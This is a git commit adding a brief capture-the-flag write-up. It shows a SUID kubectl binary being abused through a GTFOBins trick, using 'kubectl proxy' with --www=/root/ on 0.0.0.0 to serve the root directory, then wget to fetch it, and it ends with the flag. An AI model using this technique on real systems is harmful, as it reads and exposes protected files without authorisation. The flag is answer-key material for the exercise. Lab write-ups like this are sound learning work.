diff options
| author | Aria <me@aria.rip> | 2023-10-01 17:23:09 +0100 |
|---|---|---|
| committer | Aria <me@aria.rip> | 2023-10-01 17:23:09 +0100 |
| commit | b5b9cf7a1f61d004d7d53584d029c19302c63ba0 (patch) | |
| tree | 49c3022dccf669f9f2b905ddfbd2d16db2d10d84 /punkctf/gtfobins_02.md | |
initial commit
Diffstat (limited to 'punkctf/gtfobins_02.md')
| -rw-r--r-- | punkctf/gtfobins_02.md | 8 |
1 files changed, 8 insertions, 0 deletions
diff --git a/punkctf/gtfobins_02.md b/punkctf/gtfobins_02.md new file mode 100644 index 0000000..1cf0fcf --- /dev/null +++ b/punkctf/gtfobins_02.md @@ -0,0 +1,8 @@ + +through basic recon you can find kubectl has suid bit + +if you lookup on gtfobins you find you can serve static files with kubectl using `kubectl proxy --address=0.0.0.0 --port=4444 --www=/root/ --www-prefix=/x/` + +then just `wget http://localhost:4444/x/` in another tab + +`punk_{FUN9BUQ19K8VCDRT}` |